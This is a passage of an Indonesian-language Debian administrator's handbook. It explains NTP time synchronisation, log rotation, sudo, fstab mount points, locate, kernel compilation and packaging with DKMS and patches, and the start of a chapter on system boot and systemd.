Sinkronisasi waktu, yang mungkin nampak mubadzir pada sebuah komputer, sangat penting dalam sebuah jaringan. Karena pengguna tidak memiliki hak akses yang mengizinkan mereka mengubah tanggal dan waktu, hal ini penting agar informasi ini jelas untuk mencegah kebingunan. Lebih jauh, jika seluruh komputer dalam sebuah jaringan tersinkronisasi memungkinkan referensi-silang informasi yang lebih baik dari log pada mesin yang berbeda. Nah, pada saat terjadi serangan, akan mudah untuk merekonstruksi kronologi urutan aksi pada berbagai mesin yang terlibat kompromi. Data yang dikumpulkan beberapa mesin untuk tujuan statistik tidak akan bermanfaat jika mereka tidak tersinkronisasi.

KEMBALI KE DASAR NTP

NTP (Protokol Waktu Jaringan) memungkinkan sebuah mesin tersinkronisasi dengan lainnya secara akurat, memertimbangkan penundaan yang disebabkan oleh transfer informasi melalui jaringan dan offset lain yang mungkin.

Ada banyak server NTP di internet, yang paling populer mungkin overload. Oleh karena itu, kami menyarankan menggunakan server NTP pool.ntp.org, yang mana, kenyataannya, sekelompok mesin yang telah setuju untuk melayani sebagai server NTP publik. Anda bahkan dapat menggunakan sub-group yang spesifik ke sebuah negara, misalnya dengan, us.pool.ntp.org untuk Amerika Serikat, atau ca.pool.ntp.org untuk Kanada, dll.

Akan tetapi, jika Anda mengelola jaringan yang besar, anda direkomendasikan menginstall server NTP Anda sendiri, yang akan menyinkronkan dengan server publik. Dalam kasus ini, seluruh mesin dalam jaringan Anda dapat menggunakan server NTP internal daripada meningkatkan load pada server publik. Anda akan meningkatkan kehomogenan dengan jam Anda, karena seluruh mesin akan disinkronkan ke sumber yang sama, dan sumber ini sangat dekat dalam hal waktu transfer jaringan.

8.9.2.1. Untuk Workstation

Karena stasiun kerja direboot secara reguler (bahkan jika hanya untuk menghemat energi), mensinkronisasinya dengan NTP saat booting sudah cukup. Untuk melakukannya, install paket ntpdate. Anda dapat mengubah server NTP yang digunakan jika diperlukan dengan memodifikasi berkas /etc/default/ntpdate.

8.9.2.2. Untuk Server

Server jarang sekali direboot, dan sangat penting untuk waktu sistemnya agar benar. Untuk mengelola waktu yang benar secara permanen, Anda boleh menginstall server NTP lokal, sebuah layanan yang ditawarkan dalam paket ntp. Dalam konfigurasi standarnya, server akan menyinkronkan dengan pool.ntp.org dan menyediakan waktu sebagai respon dari permintaan yang datang dari jaringan lokal. Anda dapat mengonfigurasinya dengan menyunting berkas /etc/ntp.conf, alternatif yang paling signifikan menjadi server NTP untuk yang mengacunya. Jika jaringan memilik banyak server, ini mungkin akan menarik jika memiliki satu server waktu lokal yang tersinkronisasi dengan server publik dan digunakan sebagai sumber waktu dengan server lain dalam jaringan.

LEBIH JAUH Modul GPS dan sumber waktu lain

Jika sinkronisasi waktu seringkali krusial pada jaringan Anda, sangat mungkin untuk melengkapi sebuah server dengan modul GPS (yang akan menggunakan waktu dari satelit GPS) atau modul DCF-77 (yang akan menyinkronkan waktu dengan jam atomik di dekat frankfurt, Jerman). Dalam kasus ini, konfigurasi srver NTP menjadi lebih rumit, dan setelah mengacu ke dokumentasi sangat diperlukan.

8.9.3. Rotasi Berkas Log

Berkas log dapat tumbuh, cepat, dan perlu untuk mengarsipnya. Skema yang paling umum adalah merotasi arsip: berkas log diarsipkan secara reguler, dan hanya arsip X terkini yang dibiarkan. logrotate, program yang bertanggung jawab untuk rotasi ini, mengikuti arahan yang diberikan berkas /etc/logrotate.conf dan seluruh berkas dalam direktori /etc/logrotate.d/. Administrator boleh memodifikasi berkas ini, jika mereka ingin mengadaptasi kebijakan rotasi log yang ditentukan oleh Debian. Man page logrotate(1) menjelaskan seluruh pilihan yang tersedia dalam berkas konfigurasi ini. Anda mungkin ingin menambah jumlah berkas yang dipertahankan dalam rotasi log, atau memindah berkas log ke direktori tertentu yang didedikasikan untuk mengarsip daripada menghapusnya. Anda dapat pula mengirimkannya melalui email untuk diarsipkan di manapun.

Program logrotate dieksekusi per hari oleh penjadwal program cron (dijelaskan di Bagian 9.7, “Menjadwalkan Tugas dengan cron dan atd”).

8.9.4. Berbagi Hak Akses Administrator

Seringkali, beberapa administrator bekerja pada jaringan yang sama. Berbagi password root sangatlah tidak elegan, dan membuka kran fitnah karena anonimitas pembuat yang dibagi. Solusi untuk masalah ini adalah program sudo, yang mengizinkan pengguna tertentu untuk mengeksekusi program tertentu dengan hak akses khusus. Pada kasus yang umum, sudo mengizinkan pengguna yang dipercaya untuk mengeksekusi program sebagai root. Untuk melakukannya, pengguna mengeksekusi sudo perintah dan diotentikasi menggunakan password personal mereka.

Ketika terinstall, paket sudo memberikan hak root penuh ke anggota kelompok Unix sudo. Untuk mendelegasikan hak lainnya, administrator harus menggunakan perintah visudo, yang mengizinkan modifikasi berkas konfigurasi /etc/sudoers (di sini, ini akan menjalankan editor vi, atau editor lain yang ditunjukkan oleh variabel lingkungan EDITOR). Menambahkan sebuah baris dengan namapengguna ALL=(ALL) ALL mengizinkan pengguna yang dimaksud menjalankan perintah sebagai root.

Konfigurasi yang lebih canggih mengizinkan otorisasi hanya pada perintah tertentu ke pengguna tertentu. Seluruh rincian berbagai kemungkinan diberikan pada man page sudoers(5).

8.9.5. Daftar Titik Kait

KEMBALI KE DASAR Pengaitan dan pelepasan

Dalam sistem mirip-Unix seperti Debian, berkas diorganisasi sebagai satu hirarki seperti-pohon direktori. Direktori / disebut “root directory”; seluruh direktori berikutnya merupakan sub-direktori dalam root ini. “Mounting” (mengaitkan) merupakan tindakan menyertakan isi perangkat pheriperal (seringkali berupa hard drive) ke dalam pohon berkas umum sistem. Sebagai konsekuensinya, jika Anda menggunakan hard drive terpisah untuk menyimpan data personal pengguna, cakram ini akan “dimount” dalam direktori /home/. Sistemberkas root selalu dimount ketika boot oleh kernel; perangkat lain seringkali dimout kemudian selama proses startup atau secara manual dengan perintah mount.

Beberapa perangkat mudahlepas dimount secara otomatis ketika terhubung, khususnya ketika menggunakan GNOME, Plasma atau lingkungan desktop lain. Lainnya harus dimount secara manual oleh pengguna. Begitupula, mereka harus meng-unmount (hapus dari pohon berkas). Pengguna biasa biasanya tidak memiliki hak akses untuk mengeksekusi perintah mount dan umount. Akan tetapi, administrator dapat mengotorisasi operasi ini (tiap titik kait secara independen) dengan menyertakan pilihan user dalam berkas /etc/fstab.

Perintah mount dapat digunakan tanpa argumen untuk menampilkan daftar seluruh sistem berkas yang dikaitkan; Anda dapat mengeksekusi findmnt --fstab untuk menunjukkan hanya sistem berkas dari /etc/fstab. Parameter berikut diperlukan untuk mengait atau melepas kait sebuah perangkat. Untuk daftar lengkapnya, silakan merujuk ke halaman man yang sesuai, mount(8) dan umount(8). Untuk kasus-kasus sederhana, sintaksnya juga sederhana: misalnya, untuk me-mount partisi /dev/sdc1, yang memiliki sebuah sistem berkas ext3, ke dalam direktori /mnt/tmp/, Anda dapat menjalankan mount -t ext3 /dev/sdc1 /mnt/tmp/.

Berkas /etc/fstab memberikan daftar seluruh kaitan yang mungkin terjadi entah itu secara otomatis ketika booting atau secara manual untuk perangkat storage mudahlepas. Setiap titik kait dideskripsikan dengan beberapa field yang dipisahkan oleh spasi:

- sistem berkas: ini menunjukkan di mana sistem berkas yang akan dipasang dapat ditemukan, dapat berupa peranti lokal (partisi hard disk, CD-ROM) atau sistem berkas jarak jauh (seperti NFS).
Field ini seringkali digantikan dengan unique ID sistemberkas (yang dapat Anda temukan dengan blkid device) diawali dengan UUID=. Hal ini melindungi dari perubahan nama perangkat ketika penambahan atau pelepasan cakram, atau jika cakram terdeteksi dalam urutan yang berbeda.

- titik kait: ini merupakan lokasi pada sistemberkas lokal di mana perangkat, sistem remote, atau partisi akan dikaitkan.

- tipe: filed ini menentukan sistemberkas yang digunakan pada perangkat yang dikait. ext4, ext3, vfat, ntfs, btrfs, xfs merupakan beberapa contoh.
KEMBALI KE DASAR NFS, sistem berkas jaringan

NFS ialah sistemberkas jaringan; di Linux, memungkinkan akses berkas remote secara transparan dengan menyertakannya dalam sistem berkas lokal.

Daftar lengkap daftar sistemberkas yang diketahui tersedia dalam man page mount(8). Nilai khusus swap adalah untuk partisi swap; nilai khusus auto memberitahukan program mount secara otomatis mendeteksi sistemberkas (yang khususnya berguna untuk pembaca cakram dan kunci USB, karena setiapnya bisa jadi memiliki sistemberkas yang berbeda);

- pilihan: ada banyak, tergantung pada sistemberkas, dan mereka terdokumentasi dalam man page mount. Umumnya adalah

- rw atau ro, artinya, masing-masing, bahwa perangkat akan dikait dengan akses baca/tulis (read/write) atau hanya-baca (read-only).

- noauto nonaktifkan pengaitan otomatis saat booting.

- nofail mengizinkan boot berlanjut bahkan ketika peranti tidak ada. Pastikan untuk memakai opsi ini bagi drive eksternal yang mungkin dicopot saat Anda boot, karena systemd benar-benar memastikan bahwa semua titik kait yang mesti dikait secara otomatis benar-benar dikait sebelum membiarkan proses boot berlanjut sampai akhir. Perhatikan bahwa Anda dapat menggabung ini dengan x-systemd.device-timeout=5s untuk memberitahu systemd untuk tidak menunggu lebih dari 5 detik bagi peranti untuk muncul (lihat systemd.mount(5)).

- user mengizinkan semua pengguna untuk mengait sistemberkas ini (sebuah operasi yang hanya dapat dilakukan oleh pengguna root).

- defaults artinya kelompok pilihan standar: rw, suid, dev, exec, auto, nouser dan async, masing-masign dapat dinonaktifkan secara idividual setelah defaults dengan menambahkan nosuid, nodev dan seterusnya ke blok suid, dev dan seterusnya. Menambahkan pilihan user mengaktifkannya lagi, karena defaults menyertakan nouser.

- dump: field ini hampir selalu bernilai 0. Ketika bernilai 1, dia memerintahkan alat dump untuk membackup partisi yang berisi data.

- pass: field terakhir ini menunjukkan apakah akan memeriksa integritas sistemberkas saat booting, dan dalam urutan yang bagaimana pemeriksaan ini dieksekusi. Jika bernilai 0, tidak ada pemeriksaan yang dilakukan. Sistemberkas root harus bernilai 1, sedangkan sistemberkas permanen lainnya memiliki nilai 2.

Contoh 8.5. Contoh berkas/etc/fstab

# /etc/fstab: static file system information.

#

# <file system> <mount point>   <type>  <options>       <dump>  <pass>

proc            /proc           proc    defaults        0       0

# / was on /dev/sda1 during installation

UUID=c964222e-6af1-4985-be04-19d7c764d0a7 / ext3 errors=remount-ro 0 1

# swap was on /dev/sda5 during installation

UUID=ee880013-0f63-4251-b5c6-b771f53bd90e none swap sw  0       0

/dev/scd0       /media/cdrom0   udf,iso9660 user,noauto 0       0

/dev/fd0        /media/floppy   auto    rw,user,noauto  0       0

arrakis:/shared /shared         nfs     defaults        0       0

Entri terakhir dalam contoh ini berupa sebuah sistemberkas jaringan (NFS): direktori /shared/ pada server arrakis dikaitkan pada /shared/ di mesin lokal. Format berkas /etc/fstab didokumentasikan pada man page fstab(5).

LEBIH JAUH Mount-otomatis

systemd mampu mengelola titik-titik kait otomatis: itu adalah sistem berkas yang dipasang sesuai permintaan ketika pengguna mencoba mengakses titik kait target mereka. Itu juga dapat melepas kait sistem berkas ini ketika tidak ada proses yang mengaksesnya lagi.

Seperti kebanyakan konsep di systemd, titik kait otomatis dikelola dengan unit khusus (menggunakan sufiks .automount). Lihat systemd.automount(5) untuk sintaks tepatnya.

Utilitas mount-otomatis lain juga ada, seperti automount dalam paket autofs atau amd dalam paket am-utils.

Catat juga bahwa GNOME, Plasma, dan lingkungan desktop grafis lainnya bekerja bersama dengan udisks, dan dapat secara otomatis mengait media mudahlepas ketika mereka terhubung.

8.9.6. locate dan updatedb

Perintah locate dapat menemukan lokasi sebuah berkas ketika Anda hanya tahu bagian namanya. Mengirimkan hasilnya hampir secara instant, karena dia menggunakan basisdata yang menyimpan lokasi seluruh berkas pada sistem; basisdata ini diperbaharui tiap hari oleh perintah updatedb. Ada banyak implementasi dari perintah locate dan Debian mengambil mlocate untuk standar sistemnya.

mlocate cukup pintar, hanya menampilkan berkas yang dapat diakses oleh pengguna yang menjalankan perintah meskipun dia menggunakan basisdata yang mengetahui seluruh berkas pada sistem (implementasi updatedb dijalankan dengan hak akses root). Untuk keamanan ekstra, administrator dapat menggunakan PRUNEDPATHS dalam /etc/updatedb.conf untuk mengecualikan beberapa direktori untuk diindeks.

8.10. Mengompilasi sebuah Kernel

Kernel yang disediakan oleh Debian menyertakan banyak fitur, sebagaimana penggerak (driver) penuh, agar dapat menangani spektrum yang luas konfigurasi perangkat keras. Oleh karena itu, beberapa pengguna lebih memilih mengompilasi ulang kernel agar hanya menyertakan beberapa yang mereka butuhkan saja. Ada dua alasan untuk pilihan ini. Pertama, mungkin untuk mengoptimalisasi konsumsi memori, karena kode kernel, bahkan jika tak pernah digunakan, memakan memori yang tidak berguna (dan tak pernah “hilang” pada ruang swap, karena dia menggunakan RAM sebenarnya), di mana dapat mengurangi performa sistem. Kernel lokal yang dikompilasi dapat membatasi resiko masalah keamanan karena hanya sebagian kode kernel yang dikompilasi dan dijalankan.

CATATAN Pembaharuan keamanan

Jika Anda memilih untuk mengompilasi kernel Anda sendiri, Anda harus menerima konsekuensinya: Debian tidak dapat memastikan pembaruan keamanan untuk kernel buatan Anda. Menggunakan kernel yang disediakan oleh Debian, Anda mendapat kenuntungan dari pembaruan yang disiapkan oleh tim keamanan Proyek Debian.

Kompilasi ulang kernel juga diperlukan jika Anda ingin menggunakan fitur tertentu yang hanya tersedia sebagai patch (dan tidak disertakan dalam versi kernel standar).

LEBIH JAUH Buku Pegangan Kernel Debian

Tim kernel Debian mengelola “Buku Pegangan Kernel Debian” (juga tersedia dalam paket debian-kernel-handbook) dengan dokumentasi yang komprehensif tentang banyak tugas yang berkaitan dengan kernel dan tentang bagaimana kernel resmi Debian ditangani. Ini merupakan tempat pertama yang harus Anda lihat jika Anda memerlukan informasi yang lebih banyak daripada apa yang tersedia di bagian ini.

→ https://kernel-team.pages.debian.net/kernel-handbook/

8.10.1. Perkenalan dan Prasyarat

Tidak mengejutkan Debian mengelola kernel dalam bentuk paket, yang mana tidak secara tradisional kernel dikompilasi dan diinstall. Selama kernel berada dalam kontrol sistem paket, dia dapat dicopot bersih, atau disebarkan pada beberapa mesin. Lagipula, skrip yang berhubungan dengan paket ini secara mengotomatisasi interaksi dengan bootloader dan pembuat initrd.

Sumber Linux hulu berisi apapunt yang diperlukan untuk membangun sebuah kernel paket Debian. Namun Anda masih perlu menginstall build-essential untuk memastikan bahwa Anda memiliki peralatan yang diperlukan untuk membangun sebuah paket Debian. Lagipula, langkah konfigurasi untuk kernel memerlukan paket libncurses5-dev. Akhirnya, paket fakeroot akan memungkinkan pembuatan paket Debian tanpa menggunakan hak akses administrator.

KULTUR Hari tua yang baik dari kernel-package

Sebelum sistem pembangun Linux mendapatkan kemampuan untuk membangun paket Debian, cara yang direkomendasikan untuk membangun paket adalah dengan menggunakan make-kpkg dari paket kernel-package.

8.10.2. Mendapatkan Sumber

Seperti apapun yang dapat berguna pada sebuah sistem Debian, sumber kernel Linux tersedia dalam sebuah paket. Untuk mendapatkannya, install saja paket linux-source-versi. Perintah apt search ^linux-source menampilkan berbagai variasi versi paket kernel oleh Debian. Versi terkini tersedia dalam distribusi Unstable: Anda dapat mengunduhnya tanpa banyak resiko (khususnya jika APT Anda dikonfigurasi berdasarkan instruksi Bagian 6.2.6, “Bekerja dengan Beberapa Distribusi”). Catat bahwa kode sumber yang ada dalam paket ini tidak secara persis sama dengan yang dipublikasikan oleh Linus Torvalds dan pengembang kernel; seperti seluruh distribusi, Debian menerapkan berbagai patch, yang mungkin (mungkin tidak) ditemukan pada versi hulu Linux. Modifikasi ini termasuk backport perbaikan/fitur/penggerak (driver) dari versi kernel terbaru, fitur baru yang belum (sepenuhnya) digabungkan dalam upstream Linux tree, dan terkadang bahkan perubahan spesifik Debian.

Pengingat bagian ini difokuskan pada kernel Linux versi 4.19, namun contohnya tentu saja dapat diadaptasi ke beberapa versi kernel yang Anda inginkan.

Kita asumsikan paket linux-source-4.19 telah terpasang. Ini berisi /usr/src/linux-source-4.19.tar.xz, sebuah arsip sumber kernel yang dimampatkan. Anda harus mengekstrak berkas ini dalam sebuah direktori baru (tidak langsung di bawah /usr/src/, sebab untuk mengompilasi kernel Linux tidak memerlukan hak akses khusus): ~/kernel/ cocok.

$ mkdir ~/kernel; cd ~/kernel

$ tar -xaf /usr/src/linux-source-4.19.tar.xz

KULTUR Lokasi sumber kernel

Secara tradisional, sumber kernel Linux akan diletakkan di /usr/src/linux/ yang memerlukan hak akses root untuk kompilasi. Akan tetapi, bekerja dengan hak akses administrator harus dihindari ketika tidak diperlukan. Ada sebuah kelompok src yang memungkinkan anggota bekerja dalam direktori ini, namun bekerja dalam /usr/src/ harus tetap dihindari. Dengan menyimpan sumber kernel dalam sebuah direktori personal, Anda aman dari segala hal: tidak ada berkas dalam /usr/ yang tidak diketahui oleh sistem pemaketan, dan tak ada resiko program jahat yang membaca /usr/src/linux ketika mencoba mengumpulkan informasi pada kernel yang digunakan.

8.10.3. Mengonfigurasi Kernel

Langkah selanjutnya mengonfigurasi kernel berdasarkan kebutuhan Anda. Prosedur tepatnya tergantung pada tujuannya.

Ketika mengompilasi versi kernel lebih baru (mungkin dengan patch tambahan), konfigurasinya sebaiknya akan sedekat mungkin dengan yang ditawarkan oleh Debian. Dalam hal ini, dan daripada mengonfigurasi segalanya dari scratch, cukup menyalin berkas /boot/config-versi (versi kernel yang sedang digunakan, yang dapat ditemukan dengan perintah uname -r) ke sebuah berkas .config dalam direktori yang berisi sumber kernel.

$ cp /boot/config-4.19.0-5-amd64 ~/kernel/linux-source-4.19/.config

Kecuali Anda perlu mengubah konfigurasi, Anda dapat berhenti di sini dan melompat ke Bagian 8.10.4, “Kompilasi dan Membangun Paket”. Namun jika Anda perlu mengubahnya, atau jika Anda memutuskan untuk mengonfigurasi semuanya dari awal, Anda perlu meluangkan waktu untuk mengonfigurasi kernel Anda. Ada berbagai antarmuka terdedikasi dalam direktori sumber kernel yang dapat digunakan dengan memanggil perintah make target, dimana target merupakan salah satu dari nilai-nilai yang dijelaskan di bawah.

make menuconfig mengkompilasi dan mengeksekusi sebuah antarmuka mode teks (inilah di mana paket libncurses5-dev diperlukan) yang memungkinkan navigasi pilihan yang tersedia dalam sebuah struktur hirarkis. Menekan tombol Spasi megubah nilai opsi yang dipilih, dan Enter memvalidasi tombol yang dipilih di layar bagian bawah; Select mengembalikan ke sub-menu yang dipilih; Exit menutup layar saat ini dan kembali ke hirarki sebelumnya; Help akan menampilkan informasi yang lebih rinci atas peran dari opsi yang sedang dipilih. Tombol panah memungkinkan perpindahan pada daftar pilihan dan tombol. Untuk keluar dari program konfigurasi, pilih Exit dari menu utama. Program kemudian menawarkan untuk menyimpan perubahan yang telah Anda buat; terima jika Anda merasa puas dengan pilihan Anda.

Antarmuka lain memiliki fitur yang mirip, namun mereka bekerja dengan antarmuka grafis yang lebih modern; serperti make xconfig yang menggunakan antarmuka grafis Qt, dan make gconfig yang menggunakan GTK+. Yang pertama memerlukan libqt4-dev, sedangkan yang berikutnya memerlukan libglade2-dev dan libgtk2.0-dev.

Ketika menggunakan salah satu antarmuka konfigurasi tersebut, sebaiknya dimulai dengan konfigurasi standar. Kernel menyediakan konfigurasi tersebut dalam arch/arch/configs/*_defconfig dan Anda dapat menaruh konfigurasi pilihan dengan perintah seperti make x86_64_defconfig (dalam hal ini PC 64-bit) atau make i386_defconfig (dalam hal ini PC 32-bit).

TIP Menangani berkas .config usang

Ketika Anda menyediakan sebuah berkas .config yang telah dibuat oleh versi kernel lain (biasanya lebih tua), Anda perlu memerbaruinya. Anda dapat melakukannya dengan make oldconfig, ini akan menanyai Anda secara interaktif pilihan konfigurasi baru yang sesuai. Jika Anda ingin menggunakan jawaban standar untuk seluruh pertanyaan tersebut Anda dapat menggunakan make olddefconfig. Dengan make oldnoconfig, akan mengasumsikan jawaban negatif untuk seluruh pertanyaan.

8.10.4. Kompilasi dan Membangun Paket

CATATAN Pembersihan sebelum membangun ulang

Jika Anda pernah mengompilasi dalam direktori itu dan ingin membangun ulang segalanya dari awal (misalnya karena Anda mengubah konfigurasi kernel yang penting), Anda harus menjalankan make clean untuk menghapus berkas terkompilasi. make distclean menghapus lebih banyak berkas yang dibuat, termasuk berkas .config juga, jadi pastikan dicadangkan terlebih dahulu. Jika Anda menyalin konfigurasi dari /boot/, Anda harus mengubah opsi kunci tepercaya sistem, memberikan string kosong sudah cukup: CONFIG_SYSTEM_TRUSTED_KEYS = "".

Ketika konfigurasi kernel telah siap, perintah sederhana make deb-pkg akan menghasilkan hingga 5 paket Debian: linux-image-versi yang berisi image kernel dan modul yang sesuai, linux-headers-versi yang berisi berkas header yang diperlukan untuk membangun modul eksternal, linux-firmware-image-versi yang berisi berkas firmware yang diperlukan oleh beberapa penggerak, linux-image-versi-dbg yang berisi simbol debugging untuk image kernel dan modulnya, dan linux-libc-dev yang berisi header yang sesuai dengan pustaka tingkat pengguna seperti GNU glibc.

version didefinisikan dengan rentetan versi hulu (sebagaimana didefinisikan oleh variabel VERSION, PATCHLEVEL, SUBLEVEL dan EXTRAVERSION dalam Makefile), dari parameter konfigurasi LOCALVERSION, dan variabel lingkungan LOCALVERSION. Versi paket menggunakan string versi yang sama dengan revisi ditambahkan yang umumnya ditingkatkan (dan diurutkan dalam .version), kecuali jika Anda meng-override-nya dengan variabel lingkungan KDEB_PKGVERSION.

$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1

[...]

$ ls ../*.deb

../linux-headers-4.19.37-falcot_4.19.37-1_amd64.deb

../linux-image-4.19.37-falcot_4.19.37-1_amd64.deb

../linux-libc-dev_4.19.37-1_amd64.deb

8.10.5. Kompilasi Modul Eksternal

Beberapa modul dikelola di luar kernel Linux resmi. Untuk menggunakannya, mereka harus dikompilasi bersama dengan kernel yang cocok. Beberapa modul pihak ketiga yang umum disediakan oleh Debian dalam paket khusus, seperti vpb-driver-source (modul-modul ekstra untuk perangkat keras teleponi Voicetronix) atau leds-alix-source (driver papan PCEngines ALIX 2/3).

Paket-paket ini ada banyak dan bervariasi, perintah apt-cache rdepends module-assistant$ dapat menampilkan daftar yang disediakan oleh Debian. Akan tetapi, daftar yang lengkap terkadang tidak berguna karena ada alasan khusus untuk mengompilasi modul eksternal kecuali ketika Anda tahu Anda memerlukannya. Dalam kasus tersebut, dokumentasi perangkat keras akan secara khas merinci modul spesifik yang diperlukannya agar berfungsi di Linux.

Misalnya, mari lihat pada paket dahdi-source: setelah instalasi, sebuah sumber modul .tar.bz2 tersimpan di /usr/src/. Kita dapat mengekstraknya secara manual berkas tarball tersebut dan membangun modul, dalam prakteknya kita lebih memilih untuk mengotomatisasi seluruh menggunakan DKMS. Kebanyakan modul menawarkan integrasi DKMS yang diperlukan dalam sebuah paket yang diakhiri dengan akhiran -dkms. Dalam kasus kita, hanya perlu menginstall dahdi-dkms untuk mengompilasi modul kernel bagi kernel saat ini asal telah tersedia paket linux-headers-* yang cocok dengan kernel yang terinstall. Umpamanya, Jika Anda menggunakan linux-image-amd64, Anda juga perlu menginstall linux-headers-amd64.

$ sudo apt install dahdi-dkms

[...]

Setting up xtables-addons-dkms (2.12-0.1) ...

Loading new xtables-addons-2.12 DKMS files...

Building for 4.19.0-5-amd64

Building initial module for 4.19.0-5-amd64

Done.

dahdi_dummy.ko:

Running module version sanity check.

- Original module

- No original module exists within this kernel

- Installation

- Installing to /lib/modules/4.19.0-5-amd64/updates/dkms/

[...]

DKMS: install completed.

$ sudo dkms status

dahdi, DEB_VERSION, 4.19.0-5-amd64, x86_64: installed

$ sudo modinfo dahdi_dummy

filename:       /lib/modules/4.19.0-5-amd64/updates/dkms/dahdi_dummy.ko

license:        GPL v2

author:         Robert Pleh <robert.pleh@hermes.si>

description:    Timing-Only Driver

[...]

ALTERNATIF module-assistant

Sebelum DKMS, module-assistant merupakan solusi paling sederhana untuk membangun dan menyebar modul kernel. Ini masih dapat digunakan, khususnya untuk paket yang tidak memiliki integrasi DKMS: dengan sebuah perintah sederhana seperti module-assistant auto-install dadhi (atau m-a a-i dahdi singkatnya), modul dikompilasi untuk kernel saat ini, menaruh dalam sebuah paket Debian baru, dan paket tersebut diinstall sambil jalan.

8.10.6. Menerapkan Patch Kernel

Beberapa fitur tidak disertakan dalam kernel standar karena belum maksimalnya atau ketidaksepakatan dengan maintainer kernel. Beberapa fitur mungkin didistribusikan sebagai patch di mana setiap orang bebas untuk menerapkan ke sumber kernel.

Debian kadang mendistribusikan beberapa patch ini dalam paket linux-patch-*, tapi seringkali mereka tidak mencapai rilis stabil (kadang untuk alasan yang sama dengan mengapa mereka tidak digabung ke dalam kernel hulu resmi). Paket ini menginstall berkas dalam direktori /usr/src/kernel-patches/.

Untuk menerapkan satu atau lebih patch ini yang terinstall, gunakan perintah patch dalam direktori sumber kemudian mulai kompilasi kernel sebagaimana dijelaskan di atas.

$ cd ~/kernel/linux-source-4.9

$ make clean

$ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.1-4.9.11-201702181444.patch.gz | patch -p1

Catat bahwa patch yang diberikan mungkin tidak bekerja dengan setiap versi kernel; mungkin saja sebuah patch gagal ketika diterapkan ke sumber kernel. Sebuah pesan error akan ditampilkan dan memberikan beberapa rincian tentang kesalahan; dalam kasus ini, mengacu ke dokumentasi yang tersedia dalam paket Debian dari patch tersebut (dalam direktori /usr/share/doc/linux-patch-*/). Dalam banyak kasus, maintainer menunjukkan versi kernel mana patch mereka ditujukan.

8.11. Menginstall sebuah Kernel

8.11.1. Fitur sebuah Paket Kernel Debian

Paket kernel Debian menginstall image kernel (vmlinuz-versi), konfigurasinya (config-versi) dan tabel simbolnya (System.map-versi) dalam /boot/. Modul diinstall dalam direktori /lib/modules/version/.

KULTUR Tabel simbol

Tabel simbol membantu pengembang untuk memahami makna pesan kesalahan kernel; tanpanya, kernel "oops" (sebuah "oops" adalah sama dengan kegagalan segmentasi untuk program level pengguna, dengan kata lain pesan yang dihasilkan menyusul pointer dereference yang tidak valid) hanya berisi alamat numerik memori, yang merupakan informasi yang tidak berguna tanpa pemetaan tabel alamat ini ke simbol dan nama fungsi.

Skrip konfigurasi paket secara otomatis menghasilkan sebuah image initrd, yang merupakan sebuah sistem mini didesain untuk dimuat dalam memori (selanjutnya namanya, adalah singkatan untuk “init ramdisk”) oleh bootloader, dan digunakan oleh kernel Linux sendiri untuk memuat modul yang diperlukan untuk mengakses perangkat berisi sistem Debian lengkap (misalnya, penggerak untuk cakram SATA). Akhirnya, skrip post-instalasi memerbarui tautan simbolis /vmlinuz, /vmlinuz.old, /initrd.img dan /initrd.img.old agar mereka menunjuk ke dua kernel terbaru yang terinstall, masing-masing, sebagaimana image initrd yang sesuai.

Kebanyakan tugas tersebut diturunkan ke skrip pengait dalam direktori /etc/kernel/*.d/. Misalnya, integrasi dengan grub bergantung pada /etc/kernel/postinst.d/zz-update-grub dan /etc/kernel/postrm.d/zz-update-grub memanggil update-grub ketika kernel diinstall atau dicopot.

8.11.2. Menginstall dengan dpkg

Menggunakan apt juga tidak menyusahkan yang membuat mudah untuk melupakan alat level-rendah, namun cara termudah untuk menginstall kernel terkompilasi ialah dengan menggunakan perintah seperti dpkg -i package.deb, di mana package.deb merupakan nama paket linux-image seperti linux-image-4.19.37-falcot_1_amd64.deb.

Langkah konfigurasinya dijelaskan dalam bab ini adalah dasar dan dapat digunakan dalam sebuah sistem server atau jaringan-kerja, dan dapat diduplikasi secara masif dalam cara yang agak-terotomasi, tidak cukup menyediakan konfigurasi sistem lengkap. Beberapa kepingan masih perlu konfigurasi, dimulai dengan program level-rendah yang disebut “layanan Unix”.

Bab 9. Layanan Unix

Bab ini membahas tentang layanan dasar yang biasa digunakan pada banyak sistem Unix. Semua administator seharusnya sudah terbiasa dengan mereka.

9.1. Boot Sistem

Ketika Anda mem-boot komputer, banyak pesan bergulir pada layar konsol yang menampilkan banyak inisialisasi dan konfigurasi otomatis yang sedang dieksekusi. Kadang-kadang Anda mungkin ingin mengubah sedikit bagaimana tahap ini bekerja, yang berarti bahwa Anda perlu untuk memahaminya dengan baik. Itulah tujuan dari bagian ini.

Pertama, BIOS mengambil kendali komputer, mendeteksi disk, memuat Master Boot Record, dan mengeksekusi bootloader. Bootloader mengambil alih, menemukan kernel pada disk, memuat dan mengeksekusinya. Kernel kemudian diinisialisasi, dan mulai mencari dan me-mount partisi yang memuat sistem berkas root, dan akhirnya mengeksekusi program pertama — init. Seringkali, "partisi root partisi" ini dan =init ini, pada kenyataannya, terletak di sistem berkas virtual yang hanya ada dalam RAM (maka namanya, "initramfs", sebelumnya disebut "initrd" untuk "initialization RAM disk"). Sistem berkas ini dimuat ke dalam memori oleh bootloader, sering dari suatu berkas pada hard drive atau dari jaringan. Ini berisi minimal yang diperlukan oleh kernel untuk memuat sistem berkas root yang "benar": ini mungkin modul penggerak untuk hard drive, atau perangkat lain yang tanpanya sistem tidak bisa boot, atau, lebih sering, skrip inisialisasi dan modul untuk merakit larik RAID, membuka partisi yang dienkripsi, mengaktifkan volume LVM, dll. Setelah partisi root di-mount, initramfs menyerahkan kontrol untuk init nyata, dan mesin kembali ke proses boot standar.

9.1.1. Sistem init systemd

”init sejati” saat ini disediakan oleh systemd dan seksi ini mendokumentasikan sistem init ini.

KULTUR Sebelum systemd

systemd adalah ”sistem init” yang relatif baru, dan walaupun sudah tersedia, sampai batas tertentu, dalam Wheezy, itu hanya menjadi baku dalam Debian Jessie. Rilis-rilis sebelumnya mengandalkan, secara baku, ”init System V” (dalam paket sysv-rc), suatu sistem yang jauh lebih tradisional. Kami menjelaskan init System V belakangan.

ALTERNATIF Sistem boot lain

Buku ini menjelaskan sistem boot yang dipakai secara baku dalam Debian Buster (yang diimplementasikan oleh paket systemd), maupun baku sebelumnya, sysvinit, yang diturunkan dan diwariskan dari sistem Unix System V; ada juga yang lain.

